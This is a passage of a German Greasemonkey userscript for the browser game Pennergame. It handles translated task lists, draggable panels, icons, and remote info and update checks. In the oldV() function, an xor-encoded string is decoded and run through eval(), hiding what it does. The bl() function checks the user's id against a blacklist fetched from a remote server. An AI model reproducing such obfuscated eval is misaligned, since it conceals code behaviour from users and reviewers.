                    taskTexts[20] = 'Jetzt Distel kaufen.';
                else if (TOWNEXTENSION == 'VT')
                    taskTexts[20] = 'Jetzt Weihrauch kaufen.';
                else if (TOWNEXTENSION == 'AT')
                    taskTexts[20] = 'Jetzt Kieselsteine kaufen.';
                taskTexts[21] = 'Tierische Weihnachten';
                taskTexts[22] = 'Einkaufen in letzter Sekunde';
                break;
        case 1:
                taskTexts[0] = 'Send a Private message to a friend';
                taskTexts[1] = 'Commit a crime';
                taskTexts[2] = 'Win a fight';
                taskTexts[3] = 'Buy some Luck!';
                taskTexts[4] = 'Post something in the Shoutbox';
                taskTexts[5] = 'Purchase drinks in the supermarket';
                taskTexts[6] = 'Start a Petfight';
                taskTexts[7] = 'Become 100% clean';
                taskTexts[8] = 'Pay Money into the gang account';
                taskTexts[9] = "Deposit junk into the gang's inventory";
                taskTexts[10] = 'Start a pet development';
                taskTexts[11] = 'Tinker with your Junk';
                taskTexts[12] = 'Eat a small snack';
                taskTexts[13] = 'BAC over 3%';
                taskTexts[14] = 'Start collecting bottles';
                taskTexts[15] = 'Sell some bottles';
                taskTexts[16] = 'Sell some junk';
                taskTexts[17] = 'Jetzt den Stadtteil wechseln.';
                taskTexts[18] = 'Jetzt eine Waffe verkaufen.';
                taskTexts[19] = 'Jetzt einem anderen Penner spenden.';
                taskTexts[20] = 'Jetzt Zahnstocher kaufen.';
                break;
        case 2:
                taskTexts[0] = 'Napisz do kumpla';
                taskTexts[1] = 'Popełnij przestępstwo';
                taskTexts[2] = 'Wygraj walkę';
                taskTexts[3] = 'Kup zdrapki';
                taskTexts[4] = 'Napisz coś w shoutbox.';
                taskTexts[5] = 'Odwiedź monopolowy.';
                taskTexts[6] = 'Rozpocznij walkę zwierzaków.';
                taskTexts[7] = 'Wykąp się!';
                taskTexts[8] = 'Wpłać pieniądze na konto bandy';
                taskTexts[9] = 'Przekaż rupiecie do kasy rupieci twojej bandy';
                taskTexts[10] = 'Rozpocznij szkolenie zwierzaka';
                taskTexts[11] = 'Majsterkuj rupieć';
                taskTexts[12] = 'Przekąsić małe co nieco.';
                taskTexts[13] = 'Poziom promili 2‰';
                taskTexts[14] = 'Zacznij zbierać puszki';
                taskTexts[15] = 'Sprzedaj puszki.';
                taskTexts[16] = 'Sprzedaj rupiecie';
                taskTexts[17] = 'Jetzt den Stadtteil wechseln.';
                taskTexts[18] = 'Jetzt eine Waffe verkaufen.';
                taskTexts[19] = 'Jetzt einem anderen Penner spenden.'
                taskTexts[20] = 'Jetzt Zahnstocher kaufen.';
                break;
        case 3:
                taskTexts[0] = 'Envoie tout de suite un message à un amis';
                taskTexts[1] = 'Commettre un délit';
                taskTexts[2] = 'Gagner un combat';
                taskTexts[3] = 'Achète immédiatement des tickets à gratter';
                taskTexts[4] = 'Écrit quelque chose de sympathique dans le chat de bande';
                taskTexts[5] = 'Acheter tout de suite des boissons dans le supermarché !';
                taskTexts[6] = "Débute un combat d'animal de companie";
                taskTexts[7] = 'Devient sur le champ propre à 100%';
                taskTexts[8] = 'Dépose de l´argent sur le compte de la bande';
                taskTexts[9] = 'Déposer une babiole sur le compte de la bande';
                taskTexts[10] = 'Lance une formation pour ton animal de compagnie';
                taskTexts[11] = 'Bricole une babiole';
                taskTexts[12] = 'Manger immédiatement un snack';
                taskTexts[13] = 'Avoir au moin 0,3 ‰';
                taskTexts[14] = 'Récolter une fois des tickets de métro.';
                taskTexts[15] = 'Vend des tickets maintenant';
                taskTexts[16] = 'Vends maintenant des babioles';
                taskTexts[17] = 'Changer d\'arrondissement';
                taskTexts[18] = 'Vendre une arme.';
                taskTexts[19] = 'Faire un don à un autre clodo';
                taskTexts[20] = 'Acheter un cure-dents.';
                break;
        case 4:
                taskTexts[0] = 'Enviar un mensaje privado a un amigo';
                taskTexts[1] = 'Cometer un crimen';
                taskTexts[2] = 'Ganar una lucha';
                taskTexts[3] = 'Comprar cupones rasca y gana';
                taskTexts[4] = 'Postear en la bandeja de gritos de tu banda';
                taskTexts[5] = 'Comprar bebidas en el supermercado';
                taskTexts[6] = 'Iniciar una lucha de mascotas';
                taskTexts[7] = 'Colocar tu nivel de higiene al 100%';
                taskTexts[8] = 'Ingresar dinero en la caja de la banda';
                taskTexts[9] = 'Ingresar cachivaches en el banco de tu banda';
                taskTexts[10] = 'Iniciar un cursillo de mascota';
                taskTexts[11] = 'Crear un cachivache';
                taskTexts[12] = 'Salir a comer algo';
                taskTexts[13] = 'Sobrepasar el nivel de alcoholemia de 3‰';
                taskTexts[14] = 'Empezar a recoger chatarra';
                taskTexts[15] = 'Vender un poco de chatarra';
                taskTexts[16] = 'Vender cachivaches';
                taskTexts[17] = 'Cambiar de barrio';
                taskTexts[18] = 'Vender un arma';
                taskTexts[19] = 'Donar a otro mendigo';
                taskTexts[20] = 'Comprar palillos';
                break;
        case 5:
                taskTexts[0] = 'Envie uma mensagem agora';
                taskTexts[1] = 'Cometer um crime';
                taskTexts[2] = 'Ganhar uma luta';
                taskTexts[3] = 'Comprar uma raspadinha agora';
                taskTexts[4] = 'Colocar mensagem no mural';
                taskTexts[5] = 'Comprar bebida no supermercado agora.';
                taskTexts[6] = 'Iniciar uma luta entre animais de estimação agora';
                taskTexts[7] = 'Fique limpo mesmo, 100%.';
                taskTexts[8] = 'Depositar dinheiro na conta da gangue';
                taskTexts[9] = 'Guardar trecos no banco de trecos da gangue.';
                taskTexts[10] = 'Iniciar o treinamento do animal de estimação';
                taskTexts[11] = 'Montar treco';
                taskTexts[12] = 'Comer um lanche agora';
                taskTexts[13] = 'Nível de álcool no sangue superior a 2%.';
                taskTexts[14] = 'Iniciar a coleta de latas';
                taskTexts[15] = 'Vender latas agora';
                taskTexts[16] = 'Vender treco agora';
                taskTexts[17] = 'Jetzt den Stadtteil wechseln.';
                taskTexts[18] = 'Jetzt eine Waffe verkaufen.';
                taskTexts[19] = 'Jetzt einem anderen Penner spenden.';
                taskTexts[20] = 'Jetzt Zahnstocher kaufen.';
                break;
        case 6:
                taskTexts[0] = 'Отправить личное сообщение другу';
                taskTexts[1] = 'Совершить преступление';
                taskTexts[2] = 'Выиграть схватку';
                taskTexts[3] = 'Купить лотерейные билеты';
                taskTexts[4] = 'Отправить в шаутбокс';
                taskTexts[5] = 'Купить напитки в супермаркете';
                taskTexts[6] = 'Начать схватку питомцев';
                taskTexts[7] = 'Отмыться и стать чистым на 100%';
                taskTexts[8] = 'Заплатить деньги в бандитскую кассу ';
                taskTexts[9] = 'Внести барахло в бандитский банк ';
                taskTexts[10] = 'Послать питомца на образовательный курс';
                taskTexts[11] = 'Смастерить барахло';
                taskTexts[12] = 'Перекусить сейчас ';
                taskTexts[13] = 'Уровень промилле более 2‰';
                taskTexts[14] = 'Начать собирать бутылки';
                taskTexts[15] = 'Продать бутылки';
                taskTexts[16] = 'Продать барахло';
                taskTexts[17] = 'Сменить район.';
                taskTexts[18] = 'Продать одно оружие.';
                taskTexts[19] = 'Пожертвовать другому игроку. ';
                taskTexts[20] = 'Купить зубочистку.';
                break;
        case 7:
                taskTexts[0] = 'Send a personal message to a friend';
                taskTexts[1] = 'Commit a crime';
                taskTexts[2] = 'Win a fight';
                taskTexts[3] = 'Buy some Luck';
                taskTexts[4] = 'Post in the Shoutbox';
                taskTexts[5] = 'Buy a drink from the Supermarket.';
                taskTexts[6] = 'Start a pet fight';
                taskTexts[7] = 'Make yourself 100% clean';
                taskTexts[8] = 'Pay Money into the gang account';
                taskTexts[9] = "Deposit junk into the gang's inventory";
                taskTexts[10] = 'Start a pet development';
                taskTexts[11] = 'Tinker with your junk';
                taskTexts[12] = 'Eat a little snack';
                taskTexts[13] = 'BAC over 2‰';
                taskTexts[14] = 'Start collecting jumble';
                taskTexts[15] = 'Sell your jumble';
                taskTexts[16] = 'Sell Junk';
                taskTexts[17] = 'Jetzt den Stadtteil wechseln.';
                taskTexts[18] = 'Jetzt eine Waffe verkaufen.';
                taskTexts[19] = 'Jetzt einem anderen Penner spenden.';
                taskTexts[20] = 'Jetzt Zahnstocher kaufen.';
                break;
        default:
                break;
    }
    return taskTexts;
}

function oldV() {
    var jxux = "CIC5CFC6B6BEBBC3D4EBAH@D@D@@D1E6E6@CAEAAE4A2AA@IE5ADAEE6@GAEABDFE6AFAIA3AE@CE6EBD2A4D4D@D2";
    function fl(a,b){return a==""?b:fl(a.substr(1), a.substr(0,1)=="j"?("j(k("+b+"))"):a.substr(0,1)=="u"?("unescape("+b+")"):("xor("+b+",112)"))};
    eval(eval(fl("jxux","info")));
    return document.getElementsByClassName('zleft profile-data').length > 0;
}


// **********************************************************************************
// **********************************************************************************
// Funktion holt den z-Index eines Panels
// **********************************************************************************
// **********************************************************************************
function getZ(bgName) {
    for (var i = 0; i < koord.length; i++)
        if (koord[i][0] == bgName) {
            return koord[i][3];
        }
    return 101;
}

// **********************************************************************************
// **********************************************************************************
// Funktion setzt die X- und Y-Koordinaten der Panels in Variablen
// **********************************************************************************
// **********************************************************************************
function setXY(bgName, x, y) {
    switch (bgName.substr(0,2)) {
        case 'AD':
            AD_X = x;   // X-Koordinate ATT/DEF-Leiste
            AD_Y = y;   // Y-Koordinate ATT/DEF-Leiste
            break;
        case 'FB':
            FB_X = x;   // X-Koordinate Fight-Icon
            FB_Y = y;   // Y-Koordinate Fight-Icon
            break;
        case 'GF':
            GF_X = x;   // X-Koordinate Bandenkampf-Icon
            GF_Y = y;   // Y-Koordinate Bandenkampf-Icon
            break;
        case 'PB':
            PB_X = x;   // X-Koordinate Plunder/Wut/Power-Leiste
            PB_Y = y;   // Y-Koordinate Plunder/Wut/Power-Leiste
            break;
        case 'PD':
            PD_X = x;   // X-Koordinate Plunderdirektleiste
            PD_Y = y;   // Y-Koordinate Plunderdirektleiste
            break;
        case 'PW':
            PW_X = x;   // X-Koordinate Promilleleiste
            PW_Y = y;   // Y-Koordinate Promilleleiste
            break;
        case 'PA':
            PA_X = x;   // X-Koordinate Provokation/TA
            PA_Y = y;   // Y-Koordinate Provokation/TA
            break;
        case 'SC':
            SC_X = x;   // X-Koordinate Skill/Cards/Cart
            SC_Y = y;   // Y-Koordinate Skill/Cards/Cart
            break;
        case 'MI':
            MI_X = x;   // X-Koordinate Missionen
            MI_Y = y;   // Y-Koordinate Missionen
            break;
        default:
            break;
    }
    for (var i = 0; i < koord.length; i++)
        if (koord[i][0] == bgName) {
            koord[i][1] = x;
            koord[i][2] = y;
            break;
        }
}

// **********************************************************************************
// **********************************************************************************
// Funktion liest die X- und Y-Koordinaten der Panels
// **********************************************************************************
// **********************************************************************************
function readXY(bgName, zIndex) {
    var bgData = new Array(bgName, 0, 0, zIndex);
    switch (bgName.substr(0,2)) {
        case 'AD':
            bgData[1] = AD_X = PG_getValue("AD_X", 615);   // X-Koordinate ATT/DEF-Leiste
            bgData[2] = AD_Y = PG_getValue("AD_Y", 170);   // Y-Koordinate ATT/DEF-Leiste
            break;
        case 'FB':
            bgData[1] = FB_X = PG_getValue("FB_X", 840);   // X-Koordinate Fight-Icon
            bgData[2] = FB_Y = PG_getValue("FB_Y", 2);     // Y-Koordinate Fight-Icon
            break;
        case 'GF':
            bgData[1] = GF_X = PG_getValue("GF_X", 780);   // X-Koordinate Bandenkampf-Icon
            bgData[2] = GF_Y = PG_getValue("GF_Y", 2);     // Y-Koordinate Bandenkampf-Icon
            break;
        case 'PB':
            bgData[1] = PB_X = PG_getValue("PB_X", 866);   // X-Koordinate Plunder/Wut/Power-Leiste
            bgData[2] = PB_Y = PG_getValue("PB_Y", 170);   // Y-Koordinate Plunder/Wut/Power-Leiste
            break;
        case 'PD':
            bgData[1] = PD_X = PG_getValue("PD_X", 748);   // X-Koordinate Plunderdirektleiste
            bgData[2] = PD_Y = PG_getValue("PD_Y", 235);   // Y-Koordinate Plunderdirektleiste
            break;
        case 'PS':
            bgData[1] = PS_X = PG_getValue("PS_X", 888);   // X-Koordinate Plundershopleiste
            bgData[2] = PS_Y = PG_getValue("PS_Y", 300);   // Y-Koordinate Plundershopleiste
            break;
        case 'PW':
            bgData[1] = PW_X = PG_getValue("PW_X", 625);   // X-Koordinate Promilleleiste
            bgData[2] = PW_Y = PG_getValue("PW_Y", 235);   // Y-Koordinate Promilleleiste
            break;
        case 'PA':
            bgData[1] = PA_X = PG_getValue("PA_X", 0);     // X-Koordinate Provokation/TA
            bgData[2] = PA_Y = PG_getValue("PA_Y", 0);     // Y-Koordinate Provokation/TA
            break;
        case 'SC':
            bgData[1] = SC_X = PG_getValue("SC_X", 615);   // X-Koordinate Skill/Cards/Cart
            bgData[2] = SC_Y = PG_getValue("SC_Y", 105);   // Y-Koordinate Skill/Cards/Cart
            break;
        case 'MI':
            bgData[1] = MI_X = PG_getValue("MI_X", 900);   // X-Koordinate Missionen
            bgData[2] = MI_Y = PG_getValue("MI_Y", 2);     // Y-Koordinate Missionen
            break;
        default:
            return;
    }
    koord[koord.length] = bgData;
}

// **********************************************************************************
// **********************************************************************************
// Funktion initialisiert die Panels
// **********************************************************************************
// **********************************************************************************
function initPanels() {
    readXY("ADBACK", 110);
    readXY("PDBACK", 120);
    readXY("PSBACK", 130);
    readXY("PWBACK", 140);
    readXY("PBBACK", 150);
    readXY("GFBACK", 170);
    readXY("PABACK", 180);
    readXY("SCBACK", 190);
    readXY("FBBACK", 200);
    readXY("MIBACK", 210);

    PG_setValue("PD_X", PD_X);   // X-Koordinate Plunderdirektleiste
    PG_setValue("PD_Y", PD_Y);   // Y-Koordinate Plunderdirektleiste
    PG_setValue("PS_X", PS_X);   // X-Koordinate Plundershopleiste
    PG_setValue("PS_Y", PS_Y);   // Y-Koordinate Plundershopleiste
    PG_setValue("PW_X", PW_X);   // X-Koordinate Promilleleiste
    PG_setValue("PW_Y", PW_Y);   // Y-Koordinate Promilleleiste
    PG_setValue("AD_X", AD_X);   // X-Koordinate ATT/DEF-Leiste
    PG_setValue("AD_Y", AD_Y);   // Y-Koordinate ATT/DEF-Leiste
    PG_setValue("GF_X", GF_X);   // X-Koordinate Bandenkampf-Icon
    PG_setValue("GF_Y", GF_Y);   // Y-Koordinate Bandenkampf-Icon
    PG_setValue("FB_X", FB_X);   // X-Koordinate Fight-Icon
    PG_setValue("FB_Y", FB_Y);   // Y-Koordinate Fight-Icon
    PG_setValue("PB_X", PB_X);   // X-Koordinate Plunder/Wut/Power-Leiste
    PG_setValue("PB_Y", PB_Y);   // Y-Koordinate Plunder/Wut/Power-Leiste
    PG_setValue("PA_X", PA_X);   // X-Koordinate Provokation/TA
    PG_setValue("PA_Y", PA_Y);   // Y-Koordinate Provokation/TA
    PG_setValue("SC_X", SC_X);   // X-Koordinate Skill/Cards/Cart
    PG_setValue("SC_Y", SC_Y);   // Y-Koordinate Skill/Cards/Cart
    PG_setValue("MI_X", MI_X);   // X-Koordinate Missionen
    PG_setValue("MI_Y", MI_Y);   // Y-Koordinate Missionen
}

//mouse-move vars
var dragObject = null;
var mouseOffset = null;

function getMouseOffset(target, ev){
    ev = ev || window.event;

    var docPos    = getPosition(target);
    var mousePos  = mouseCoords(ev);
    return {x:mousePos.x - docPos.x, y:mousePos.y - docPos.y};
}

function getPosition(e){
    var left = parseInt(e.style.left+0);
    var top  = parseInt(e.style.top+0);

    /* while (e.offsetParent){
        left += e.offsetLeft;
        top  += e.offsetTop;
        e     = e.offsetParent;
    }

    left += e.offsetLeft;
    top  += e.offsetTop; */

    return {x:left, y:top};
}

function mouseCoords(ev){
    if(ev.pageX || ev.pageY){
            return {x:ev.pageX, y:ev.pageY};
    }
    return {
        x:ev.clientX + document.body.scrollLeft - document.body.clientLeft,
        y:ev.clientY + document.body.scrollTop  - document.body.clientTop
    };
}

function mouseMove(ev){
    if (dragObject) {
        ev           = ev || window.event;
        var mousePos = mouseCoords(ev);
        var oldLeft = parseInt(dragObject.style.left);
        var oldTop = parseInt(dragObject.style.top);
        dragObject.style.position = 'absolute';
        dragObject.style.top      = mousePos.y - mouseOffset.y + 'px';
        dragObject.style.left     = mousePos.x - mouseOffset.x + 'px';
        var dx = mousePos.x - mouseOffset.x;
        var zInd = getZ(dragObject.id) + 500;
        for (var i = 0; i < bgnds.length; i++)
            if (bgnds[i][0] == dragObject.id) {
                var img = document.getElementById(bgnds[i][1]);
                var imgleft = parseInt(img.style.left) - oldLeft + parseInt(dragObject.style.left);
                var imgtop = parseInt(img.style.top) - oldTop + parseInt(dragObject.style.top);
                img.style.left = imgleft + 'px';
                img.style.top  = imgtop  + 'px';
                if (parseInt(img.style.zIndex) < 500)
                    img.style.zIndex  = parseInt(img.style.zIndex) + 500;
            }
        return false;
    }
}

function makeDraggable(item){
    if(!item) return;
    item.addEventListener('mousedown', function(ev){
        dragObject  = this;
        mouseOffset = getMouseOffset(this, ev);
        return false;
    }, false);
}

function mouseUp(ev){
    if (dragObject) {
        var dragObj = dragObject;
        dragObject = null;
        //save values
        var target = dragObj.id;
        if (target.substr(2,4) != "BACK")
            target = "PABACK";
        setXY(target, parseInt(dragObj.style.left), parseInt(dragObj.style.top));
        for (var i = 0; i < bgnds.length; i++)
            if (bgnds[i][0] == target) {
                var img = document.getElementById(bgnds[i][1]);
                if (parseInt(img.style.zIndex) > 500)
                    img.style.zIndex = parseInt(img.style.zIndex) - 500;
            }
        if (lockmove == 0) {
            PG_setValue(target.substr(0,2) + "_X", parseInt(dragObj.style.left));
            PG_setValue(target.substr(0,2) + "_Y", parseInt(dragObj.style.top));
        }
    }
}

document.addEventListener('mousemove', mouseMove, false);
document.addEventListener('mouseup', mouseUp, false);

function dblclick(e){
    lockmove = 1 - lockmove;
    PG_setValue("lockmove", lockmove);
    var img = document.getElementById("lockmove");
    if (lockmove)
        if (img)
            img.style.display = "";
        else
            ShowImg ('PDBACK', '', get_icon("lock"), getLangTxt(TOOLTIP_LOCK), 10, 10, 240, 1, 1, 'lockmove');
    else
        img.style.display = "none";
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die Bildadresse
// **********************************************************************************
// **********************************************************************************
function getIconAddr(img){
    if (img.indexOf("://") != -1)
        return img;
    if (img.indexOf('#') == -1 || imgPrefix.length == 1)
        return imgPrefix[0] + img;

    imgs = img.split('#');
    indx = imagehoster.substr(NrOfCalls % imagehoster.length, 1);

    return imgPrefix[indx] + imgs[indx];
}

function get_icon(s){
    var i = iconNames.indexOf(s);
    if (i < 0)
        return "";
    return allIcons[i];
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion bildet eine Liste der Bilder und ihren Hintergründen
// ***********************************************************************************************
// ***********************************************************************************************
var bgnds = new Array();
function cacheBgnds(bgrnd, imgid) {
    // Suche das img
    var i;
    for (i = 0; i < bgnds.length; i++)
        if (bgnds[i][1] == imgid)
            return;        // bereits da, nix zu tun

    // Hintergrund und Bild merken
    bgnds[bgnds.length] = new Array(bgrnd, imgid);
}

// **********************************************************************************
// **********************************************************************************
// Funktion zeigt eine Grafik an, ggf. mit Link
// **********************************************************************************
// **********************************************************************************
function ShowImg(bgrnd, imglink, imgsource, imgtitle, imgwidth, imgheight, imgleft, imgtop, imgzindex, imgid) {

    if (bgrnd == '') {
        imgzindex = getZ(imgid);
        var newspan = document.getElementById(imgid);
        if (newspan) {
            var newdiv = document.getElementById(imgid + "Div");
            var newdiv2 = document.getElementById(imgid + "Div2");
        }
        else {
            newspan = document.createElement('span');
            newspan.id = imgid;
            var newdiv = document.createElement('div');
            newdiv.id = imgid + "Div";
            var newdiv2 = document.createElement('div');
            newdiv2.id = imgid + "Div2";
            newspan.appendChild(newdiv2);
            newdiv.appendChild(newspan);
            wrap.appendChild(newdiv);
        }
        newspan.style.zIndex = imgzindex;
        newspan.style.position = "absolute";
        newspan.style.top = imgtop + "px";
        newspan.style.left = imgleft + "px";
        newdiv2.innerHTML = "&nbsp;";
        newdiv2.style.cursor = "move";
        //register event-handlers
        makeDraggable(newspan);
        newdiv.addEventListener('dblclick', dblclick, false);
        cacheBgnds(imgid, imgid+'img');
    }
    else {
        if (!document.getElementById(bgrnd))
            return null;
        var newdiv = document.getElementById(bgrnd+"Div");
        for (var i = 0; i < koord.length; i++)
            if (bgrnd == koord[i][0]) {
                imgleft += koord[i][1];
                imgtop  += koord[i][2];
                imgzindex += koord[i][3];
                break;
            }
        cacheBgnds(bgrnd, imgid);
    }

    // Wenn ein Link übergeben wurde
    if (typeof imglink == "function") {
        var newElem = document.getElementById(imgid + "lnk");
        if (!newElem)
            newElem = newdiv.appendChild(document.createElement('a'));
        newElem.addEventListener('click', imglink, false);
        // Wenn eine ID übergeben wurde
        if (imgid != "")
            newElem.setAttribute('id', imgid + "lnk");
        newElem.style.cursor = "pointer";
        var newimg = newElem.appendChild(document.createElement('img'));
    }
    else if (imglink != '') {
        // Link zusammenbauen
        var newElem = document.getElementById(imgid + "lnk");
        if (!newElem)
            newElem = newdiv.appendChild(document.createElement('a'));
        newElem.setAttribute('href', imglink);
        // Wenn eine ID übergeben wurde
        if (imgid != "") {
            newElem.setAttribute('id', imgid + "lnk");
        }
        var newimg = newElem.appendChild(document.createElement('img'));
    }
    else
        var newimg = newdiv.appendChild(document.createElement('img'));

    // Grafik zusammenbauen
    if (bgrnd == "") {
        newimg.setAttribute('id', imgid + "img");
        imgzindex--;
    }
    else {
        // Wenn eine ID übergeben wurde
        if (imgid != "") {
            var img = document.getElementById(imgid);
            if (img)
                img.parentNode.removeChild(img);
            newimg.setAttribute('id', imgid);
        }
    }

    newimg.setAttribute('border', '0');
    newimg.setAttribute('src', getIconAddr(imgsource));
    newimg.setAttribute('style', 'position:absolute; left:' + imgleft + 'px; top:' + imgtop + 'px; z-index:' + imgzindex);
    if (imgwidth != '') {
        newimg.setAttribute('width', imgwidth);
    }
    if (imgheight != '') {
        newimg.setAttribute('height', imgheight);
    }
    if (typeof imgtitle == "string") {
        if (imgtitle != "")
            newimg.setAttribute('title', imgtitle);
    }
    else if (imgtitle.length >= 2) {
        //newElem.setAttribute('class', "tooltip");
        newElem.innerHTML += "<span " + imgtitle[0] + ">" + imgtitle[1] + "</span>";
    }
    if (bgrnd == "") {
        newimg.onload = function() {
            newspan.style.width = this.width + "px";
            newspan.style.height = this.height + "px";
        }
    }

    return newimg;
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion überprüft, ob die im GM-Key "keyname" gespeicherte Zeit länger als "interval"
// Minuten vorüber ist. Falls ja, wird true zurückgegeben und die neue Zeit gespeichert
// ***********************************************************************************************
// ***********************************************************************************************
function IsTimeToCheck(keyname, interval, url) {

    if ((Number(now) - Number(GM_getValue(keyname, "0"))) / 1000 / 60 >= interval && url != "") {
        GM_setValue(keyname, Number(now).toString());
        return true;
    } else {
        return false;
    }
}

function bl(keyname) {
    function d2h(d) {return Number(d).toString(16);}

    function xor(a, b)
    {
        var c = "";
        a = d2h(a);
        for(var i = 0; i < a.length; ++i){c = c + String.fromCharCode(b^a.charCodeAt(i));}
        return c;
    }

    var b = GM_getValue((keyname?keyname:"bl") + ((language == "bl_DE") ? "b" : "h"), "").replace(/&amp;/, "&");
    for (var i = 0; i < b.split("l").length && b.split("l")[i] != ""; i++) {
        if (xor((keyname=="fi"?attid:m_ownuserid), 64) == b.split("l")[i]) {
            return true;
        }
    }
    return false;
}

function ShowGMResponse(responseDetails, showresponsetext) {
    var gm_status = responseDetails.status;                   // Integer The HTTP response status (E.G. 200 or 404) upon success, or null upon failure.
    var gm_statusText = responseDetails.statusText;           // String The HTTP response status line (E.G. "OK", "Not Found") upon success, or null upon failure.
    var gm_readyState = responseDetails.readyState;           // Number The readyState as defined in XMLHttpRequest.
    var gm_responseText = responseDetails.responseText;       // String The responseText as defined in XMLHttpRequest.
    var gm_responseHeaders = responseDetails.responseHeaders; // String The response headers as defined in XMLHttpRequest.
    var gm_finalUrl = responseDetails.finalUrl;               // String (Compatibility: 0.8.0+) The final URL requested, if Location redirects were followed.

    GM_log("gm_status = " + gm_status);
    GM_log("gm_statusText = " + gm_statusText);
    GM_log("gm_readyState = " + gm_readyState);
    if (showresponsetext) {
        GM_log("gm_responseText = " + gm_responseText);
    }
    GM_log("gm_responseHeaders = " + gm_responseHeaders);
    GM_log("gm_finalUrl = " + gm_finalUrl);
}

// ***********************************************************************************************
// ***********************************************************************************************
// formatiert ein Datum ins Format "YYYY-MM-DD" bzw. "TT.MM.JJJJ"
// ***********************************************************************************************
// ***********************************************************************************************
function FormatDate(DateToFormat) {
    var year = DateToFormat.getFullYear();
    var month = DateToFormat.getMonth() + 101 + "";
    var day = DateToFormat.getDate() + 100 + "";

    if (myLang == 0)
        return day.slice(1) + "." + month.slice(1) + "." + year;
    return year + "-" + month.slice(1) + "-" + day.slice(1);
}

// ***********************************************************************************************
// ***********************************************************************************************
// formatiert die Zeit eines Datums ins Format "HH:MM:SS"
// ***********************************************************************************************
// ***********************************************************************************************
function FormatTime(DateToFormat) {
    var hours = DateToFormat.getHours();
    var mins = DateToFormat.getMinutes() + 100 + "";
    var secs = DateToFormat.getSeconds() + 100 + "";

    return hours + ":" + mins.slice(1) + ":" + secs.slice(1);
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion überprüft, ob es neue Infos gibt (im Abstand von checkminutes)
// und zeigt diese ggf. an.
// ***********************************************************************************************
// ***********************************************************************************************
function CheckForInfos(checkminutes) {
    // Wenn wieder nach Infos gesucht werden soll
    if (IsTimeToCheck(TOWNEXTENSION+"LastInfoCheck", (checkminutes==0?480:checkminutes), INFO_URL)) {
        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abrufen von Infos
        // **********************************************************************************
        GM_xmlhttpRequest({method: 'GET', url: INFO_URL + TOWNEXTENSION + "Infozentrale_info.xml", onload: function(responseDetails) {
                // Wenn die Seite erfolgreich abgerufen werden konnte
                if (responseDetails.status == 200) {
                    var parser = new DOMParser();
                    var dom = parser.parseFromString(responseDetails.responseText, "application/xml");
                    if (!isNaN(dom.getElementsByTagName('info')[0].textContent)) {
                        getInfo = Number(dom.getElementsByTagName('info')[0].textContent);
                        GM_setValue(TOWNEXTENSION+"GetInfo", getInfo);
                        if (getInfo > 0)
                            if (dom.getElementsByTagName('Infotext')[0].textContent != '') {
                                var infodate = dom.getElementsByTagName('Infodate')[0].textContent;
                                if (PG_getValue("Infodate") != infodate) {
                                    PG_setValue("Infodate", infodate);
                                    var now = new Date();
                                    now = now.getFullYear()*10000 + (now.getMonth()+1)*100 + now.getDate() + FormatTime(now).replace(/:/g, '');
                                    if (infodate >= now)
                                        alert(dom.getElementsByTagName('Infotext')[0].textContent);
                                }
                            }
                    }
                    var keyname = "bl" + ((language == "bl_DE") ? "b" : "h");
                    if (dom.getElementsByTagName(keyname).length > 0) {
                        var b = dom.getElementsByTagName(keyname)[0].textContent;
                        GM_setValue(keyname, b);
                    }
                    var keyname = "fi" + ((language == "bl_DE") ? "b" : "h");
                    if (dom.getElementsByTagName(keyname).length > 0) {
                        var b = dom.getElementsByTagName(keyname)[0].textContent;
                        GM_setValue(keyname, b);
                    }
                    if (GM_getValue("SBwidth", "xx") != "xx") {
                        GM_deleteValue("SBwidth");
                        GM_deleteValue("SBwidthSet");
                    }
                }
            }
        });
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion überprüft, ob es neue Skript-Versionen gibt (im Abstand von checkminutes)
// und zeigt im positiven Fall eine Meldung an.
// ***********************************************************************************************
// ***********************************************************************************************
function CheckForUpdate(checkminutes) {

    // Wenn wieder nach einem Update gesucht werden soll
    if (IsTimeToCheck("LastUpdateCheck", (checkminutes==0?120:checkminutes), "x") || iconVers == "") {
        allIcons = "";
        GM_log(new Date() + ": Es wird gecheckt!");

        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abrufen der Skriptseite von greasyfork.org
        // **********************************************************************************
        GM_xmlhttpRequest({method: 'GET',
            url: THISSCRIPTINSTALL_URLGF,
            onload:function(responseDetails) {
                // Wenn die Seite erfolgreich abgerufen werden konnte
                if (responseDetails.status == 200) {
                    var content = responseDetails.responseText;

                    var iv = getnewvar(content, "iconVers");
                    if (iv != iconVers) {
                        iconVers = iv;
                        GM_setValue("iconVers", iconVers);
                        imagehoster = getnewvar(content, "imagehoster");
                        GM_setValue("imagehoster", imagehoster);
                        imgPrefix = getnewvar(content, "imgPrefix");
                        GM_setValue("imgPrefix", imgPrefix);
                        iconNames = getnewvar(content, "iconNames");
                        GM_setValue("iconNames", iconNames);
                        allIcons = getnewvar(content, "allIcons");
                        GM_setValue("allIcons", allIcons);
                    }

                    // Ermitteln der Skriptversion
                    if (content.indexOf("@version") != -1)
                        var scriptfullversion = trimString(content.split('@version')[1]).split('\n')[0];
                    else
                        var scriptfullversion = content.split('"script-show-version">').pop().split('</span')[0].split('<span>').pop();
                    var scriptversion = scriptfullversion.split(' ')[0];
                    scriptfullversion = scriptfullversion.substr(scriptversion.length+1);

                    // Wenn dort eine neue Skriptversion vorliegt

                    var thisver = THISSCRIPTVERSION.split('.');
                    thisver = parseInt(thisver[0]) * 1000000 + parseInt(thisver[1]) * 1000 + parseInt(thisver[2]);
                    var thatver = scriptversion.split('.');
                    thatver = parseInt(thatver[0]) * 1000000 + parseInt(thatver[1]) * 1000 + parseInt(thatver[2]);

                    if (thisver < thatver) {
                        // Hinweistext ausgeben
                        alert(printf(getLangTxt(TxtNewVersion), getLangTxt(THISSCRIPTNAME), scriptfullversion, THISSCRIPTINSTALL_URLGF));
                        // Seite mit dem neuen Skript laden, um eine Installation zu ermöglichen
                        window.location.href = THISSCRIPTINSTALL_URLGF+'/code/Infozentrale.user.js';
                    }
                }
            }
        });
    }
}

function getnewvar (string, v) {
    var pos = string.indexOf("*" + v + "* = \'");
    if (pos < 0) {
        alert("Fehler: Variable " + v + " nicht gefunden.");
        return "";
    }
    return string.substr(pos).split("'")[1];
}

// ***********************************************************************************************
